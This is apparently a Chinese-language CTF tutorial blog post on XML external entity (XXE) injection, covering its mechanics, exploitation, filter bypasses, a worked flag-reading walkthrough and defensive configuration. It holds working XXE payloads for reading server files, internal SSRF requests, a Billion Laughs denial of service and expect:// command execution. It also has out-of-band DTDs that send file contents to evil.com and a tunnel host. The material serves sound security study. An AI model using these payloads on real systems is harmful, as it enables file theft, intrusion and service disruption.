XXE 漏洞 CTF

一、漏洞原理

XXE(XML External Entity Injection,XML 外部实体注入)是指攻击者在可控的 XML 数据中,通过构造恶意的外部实体声明,让服务器解析 XML 时加载外部资源或文件,从而导致信息泄露、请求伪造、命令执行等危害。

核心成因:应用的 XML 解析器启用了外部实体加载功能,并且解析的 XML 内容部分可控,攻击者可以注入自定义的 DOCTYPE 和实体定义。

XML 基础回顾

一个典型的 XML 文件结构:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe "Hello World">
]>
<root>
  <name>&xxe;</name>
</root>
  • <!DOCTYPE> 定义文档类型,可以包含内部实体或外部实体。
  • <!ENTITY> 定义一个实体,实体的引用 &xxe; 会被替换成其内容。
  • 外部实体 :使用 SYSTEM 关键字引用外部资源,例如 <!ENTITY xxe SYSTEM "file:///etc/passwd">,当 &xxe; 被解析时,会加载指定文件内容。

XXE 触发的关键条件

  1. XML 解析器开启了外部实体解析(默认在许多旧版解析器中是开启的)。
  2. 攻击者能够控制 XML 内容的一部分(如接口接受 XML 输入,或可上传 XML 文件)。

二、XXE 的危害

  • 任意文件读取 :通过 file:// 协议读取服务器本地文件(如 /etc/passwd/flag
  • SSRF :通过 http:// 协议让服务器发起对内网或其他服务器的请求
  • 端口探测:通过发起内网请求并根据响应判断端口开放情况
  • 拒绝服务(DoS):构造递归实体,造成解析器资源耗尽("Billion Laughs" 攻击)
  • 远程代码执行 (少见):在极少数配置下,可通过 expect:// 协议执行系统命令(PHP 的 expect 模块)
  • 数据外带:在盲 XXE 中将文件内容通过 HTTP/FTP 请求发送到攻击者服务器

三、XXE 的分类

根据回显方式,可分为三类:

3.1 有回显 XXE(In-band XXE)

应用会将 XML 的解析结果(或实体引用的内容)直接返回到响应中,攻击者可以直接在返回内容里看到文件内容。

示例 Payload

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<root>
  <username>&xxe;</username>
</root>
xml 复制代码
<!DOCTYPE user [
    <!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<user>
    <username>&xxe;</username>
</user>
- `<!ENTITY xxe>`:自定义实体名称 `xxe`,调用时用`&xxe;`引用
- `SYSTEM`:标记这是**外部实体**,会读取外部资源
- `file:///tmp/flag.txt`:本地文件协议,告诉解析器读取服务器 `/tmp/flag.txt` 文件内容
-XML 解析器在渲染文档时,会自动把`&xxe;`替换成 `/tmp/flag.txt` 的完整文本内容,最终响应返回文件内容给攻击者。

如果返回的 <name> 标签内容变成了 /etc/passwd 的文件内容,即为有回显 XXE。

3.2 带外数据 XXE(OOB XXE,Out-of-Band)

没有直接回显,但可以强制解析器向攻击者服务器发送请求,通过 HTTP 或 DNS 将文件内容带出。

示例 Payload(通过 HTTP 外带):

xml 复制代码
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///flag">
  <!ENTITY % call "<!ENTITY exfil SYSTEM 'http://evil.com/?data=%file;'>">
  %call;
]>
xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "File:///tmp/flag.txt">
]>

<data>
    <username>&xxe</username>
    <email>guest@example.com</email>
</data>

注意:这种写法由于实体引用限制,通常需要将参数实体和常规实体分开使用,实际利用时需要使用 DTD 文件组合。

3.3 盲 XXE(Blind XXE)

完全没有直接回显,也不能直接建立出站连接(或只能依赖错误信息)。需要利用错误信息泄露或时间盲注等方式推断数据。

例如,当文件不存在时产生错误,或通过不同响应状态码判断 /flag 是否存在。

xml 复制代码
dtd文件中用
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/tmp/flag.txt"> 
<!ENTITY % exfiltrate "<!ENTITY &#x25; send SYSTEM 'https://3510c197.r18.cpolar.top/?flag=%file;'>"> %exfiltrate; %send;
这个base64编码就可以

用file直接读取文件
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % exfiltrate "<!ENTITY &#x25; send SYSTEM 'https://3510c197.r18.cpolar.top/?flag=%file;'>">%exfiltrate;%send;

报错Notice
: DOMDocument::loadXML(): PEReference: %send; not found in Entity, line: 1 in
这是为什么呢

内侧ENTITY声明不要加符号!空格就行!


注意!!!
<!ENTITY % exe "<!ENTITY % entity SYSTEM 'http://.../?flag=%file;'>">
<!ENTITY % exe "<!ENTITY &#37; entity SYSTEM 'http://.../?flag=%file;'>">
这俩写法都是错的,不要在内部的ENTITY再写 % 或者 &#37; 正确做法是不写!!!!

四、XXE 的利用手法

4.1 读取本地文件(最常用)

适用于有回显场景。

基础 payload:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>&xxe;</root>

常用文件路径

  • Linux: /etc/passwd/flag/proc/self/environ
  • Windows: C:\Windows\win.iniC:\flag.txt

绕过绝对路径未知 :可以读取 /etc/hostname/proc/self/cwd/flag(当前工作目录下的 flag)等。

4.2 利用 PHP 伪协议读取文件

如果目标服务器是 PHP,且 XML 解析器支持 PHP 封装协议(如 php://filter),可读取源码或文件并返回 Base64 编码的内容。

xml 复制代码
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>
<root>&xxe;</root>

返回 base64 编码后的 flag,解码即可。

4.3 内网请求与端口扫描(SSRF)

利用 http:// 协议发起请求:

xml 复制代码
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/flag">
]>
<root>&xxe;</root>

扫描端口:尝试不同端口,根据响应时间或错误信息(如"Connection refused")判断端口是否开放。常配合 Burp Intruder。

4.4 盲 XXE 外带数据(OOB)

当没有直接回显时,通过将文件内容嵌入到对攻击者服务器的请求中,来窃取数据。

经典 OOB 结构(利用参数实体和外部 DTD):

  1. 在攻击者 VPS 上放置一个 DTD 文件(如 evil.dtd):

    xml 复制代码
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?f=%file;'>">
    %start;

    %% 的实体编码,用于绕过嵌套实体限制)

  2. 在目标处提交 XML payload,引入外部 DTD 并调用:

    xml 复制代码
    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
      %dtd;
    ]>
    <root>test</root>
  3. 解析时会加载外部 DTD,其中定义了 file 实体读取本地文件,然后通过 HTTP 请求将内容发送到攻击者服务器。在 VPS 的访问日志中即可看到 /flag 的内容。

注意:这种方式要求目标服务器能够出站访问攻击者的服务器(有网络策略可能阻断)。

4.5 利用 DNS 外带(无需 HTTP 出站)

若 HTTP 被禁,但 DNS 请求能出站,可以通过 DNS 查询携带数据。

在 DTD 中使用:

xml 复制代码
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % send SYSTEM "http://%file;.evil.com/">

将文件内容作为子域名发出 DNS 查询,攻击者在 DNS 服务器端查看日志即可得到内容(需注意域名长度限制和字符限制,可能需要过滤/截断)。

4.6 拒绝服务攻击(Billion Laughs)

递归实体导致指数级膨胀,耗尽内存。

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
]>
<lolz>&lol9;</lolz>

触发服务器资源耗尽,导致拒绝服务。

4.7 执行系统命令(较少)

PHP 环境下,若安装了 expect 扩展,并且 XML 解析器加载了该模块,可以使用 expect:// 协议执行命令:

xml 复制代码
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

但实际环境中极为罕见,一般不作为主要攻击面。


五、绕过 XXE 防御技巧

部分应用会对用户的输入进行过滤,如移除 ENTITYSYSTEM 等关键词,需要绕过。

5.1 大小写变体
xml 复制代码
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag">
]>

改成:

xml 复制代码
<!doctype foo [
  <!entity xxe system "file:///flag">
]>
5.2 编码绕过
  • 使用 UTF-16 编码绕过 WAF(需确保 Content-Type 对应)
  • 使用实体编码:< 代替 < 等(但 DOCTYPE 声明本身必须为原始字符,内部可用)
  • 在外部 DTD 里进行嵌套,避免直接出现敏感关键词
5.3 空格与注释混淆

在关键词中间插入空格、换行或注释:

xml 复制代码
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///flag">
]>

或:

xml 复制代码
<!ENTITY % xxe SYSTEM "file:///flag">
%xxe;
5.4 使用参数实体分段调用

将 SYSTEM 和路径分开定义,避免直接被过滤:

xml 复制代码
<!DOCTYPE foo [
  <!ENTITY % call "SYSTEM">
  <!ENTITY % path "file:///flag">
  <!ENTITY % xxe "<%call; '%path;'>">
  %xxe;
]>

(实践中需要根据解析器特性调整)

5.5 JSON 到 XML 的攻击面(XML 内部转换)

如果应用接受 JSON 输入,但内部转换为 XML 处理(例如使用了 XML 数据库或 SOAP),可尝试注入包含 XML 实体的 JSON 内容,或通过 JSON 值修改内部 XML 结构。


六、CTF 实战示例:XXE 读 Flag

题目描述 :一个在线购物网站,支持通过 XML 格式上传订单数据。提交 XML 后返回订单确认信息。目标:读取服务器上的 /flag 文件。

步骤

  1. 确定 XML 解析

    拦截正常请求,发现 Content-Type: application/xml,请求体为:

    xml 复制代码
    <?xml version="1.0"?>
    <order>
      <item>book</item>
      <quantity>1</quantity>
    </order>

    响应中会回显 <message>Order placed for book x 1</message>,说明我们的输入被解析并回显。

  2. 测试实体注入(有回显)

    发送:

    xml 复制代码
    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY test "hello">
    ]>
    <order>
      <item>&test;</item>
      <quantity>1</quantity>
    </order>

    响应变为 Order placed for hello x 1,成功执行实体,确认存在有回显 XXE。

  3. 尝试读取文件

    xml 复制代码
    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///flag">
    ]>
    <order>
      <item>&xxe;</item>
      <quantity>1</quantity>
    </order>

    若直接返回 flag 内容则完成。如果失败(比如被过滤),尝试下一步。

  4. 使用 PHP 伪协议(假设后端为 PHP)

    xml 复制代码
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    ]>
    <order><item>&xxe;</item></order>

    返回 base64 字符串,解码得到 flag。

  5. 若直接回显被禁用(盲 XXE)

    尝试带外数据。在自己的 VPS 上放置 evil.dtd,内容如上文 OOB 部分。然后发送:

    xml 复制代码
    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY % dtd SYSTEM "http://your-vps/evil.dtd">
      %dtd;
    ]>
    <order><item>1</item></order>

    在 VPS 日志中看到包含 /flag 内容的请求。

  6. 绕过过滤

    如果提示"ENTITY is not allowed"之类的错误,尝试大小写或利用参数实体。或者通过将整个注入放在外部 DTD 中,减少直接敏感字符。

  7. 拿到 Flag

    成功将文件内容显示或外带,得到 flag{xxe_is_fun}


七、常见防御措施

  • 禁用外部实体解析 :这是最根本的防御。在各种语言中配置:
    • PHP:libxml_disable_entity_loader(true);
    • Java (SAX/DOM):设置 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    • Python (lxml):使用 resolve_entities=False
  • 使用不易受 XXE 影响的 XML 库 ,如 Python 的 defusedxml,Java 的 XMLInputFactory 安全配置。
  • 白名单验证输入内容 ,过滤 <!DOCTYPE<!ENTITYSYSTEM 等(但绕过可能性高,不推荐作为唯一防线)。
  • 升级解析器:较新版本的库默认禁用外部实体。
  • WAF 可以检测并阻止典型的 XXE payload,但需配合后端安全配置。
  • 最小权限运行,限制出站网络连接,防止盲 XXE 外带数据。

八、总结

  • XXE 漏洞本质是 XML 解析器对用户输入的盲信,执行了攻击者定义的外部实体加载。
  • CTF 中常考察有回显读文件带外数据外带内网探测等利用手法。
  • 绕过技巧集中在协议伪协议、编码混淆和实体嵌套构造上。
  • 防御的核心是禁用外部实体,而非依赖过滤或 WAF。
  • 理解 DTD 和实体的工作机制是掌握 XXE 的关键。
相关推荐
YucongCai2 小时前
Opengovernment(智慧城市) v0.0.3 攻防一体的智能体主动网络安全平台:ActiveCybersecurity v0.2
人工智能·web安全·智慧城市
杨先生哦2 小时前
【2026热端攻防系列 10/12】前端凭据安全深度攻防:Cookie/Storage劫持、会话固定、凭据泄露与浏览器最新加固方案
前端·笔记·安全·web安全
宋浮檀s4 小时前
春秋云境——CVE-2022-28512
数据库·安全·web安全
云水一下1 天前
零基础玩转bWAPP靶场(三十二):Broken Auth. - CAPTCHA Bypassing
web安全·bwapp·broken auth·验证码绕过
鹿鸣天涯1 天前
应急响应:常见WebShell管理工具
安全·web安全
雾屿_Mistisle1 天前
SQL注入
web安全
云水一下1 天前
零基础玩转bWAPP靶场(三十三):Broken Auth. - Forgotten Function
web安全·bwapp·function·broken auth·forgotten
云水一下2 天前
零基础玩转bWAPP靶场(三十):XML/XPath 注入(登录表单)
xml·web安全·bwapp
紫禁玄科2 天前
网络安全科普:DDoS与DoS攻击完全指南
网络·web安全·网络安全·系统安全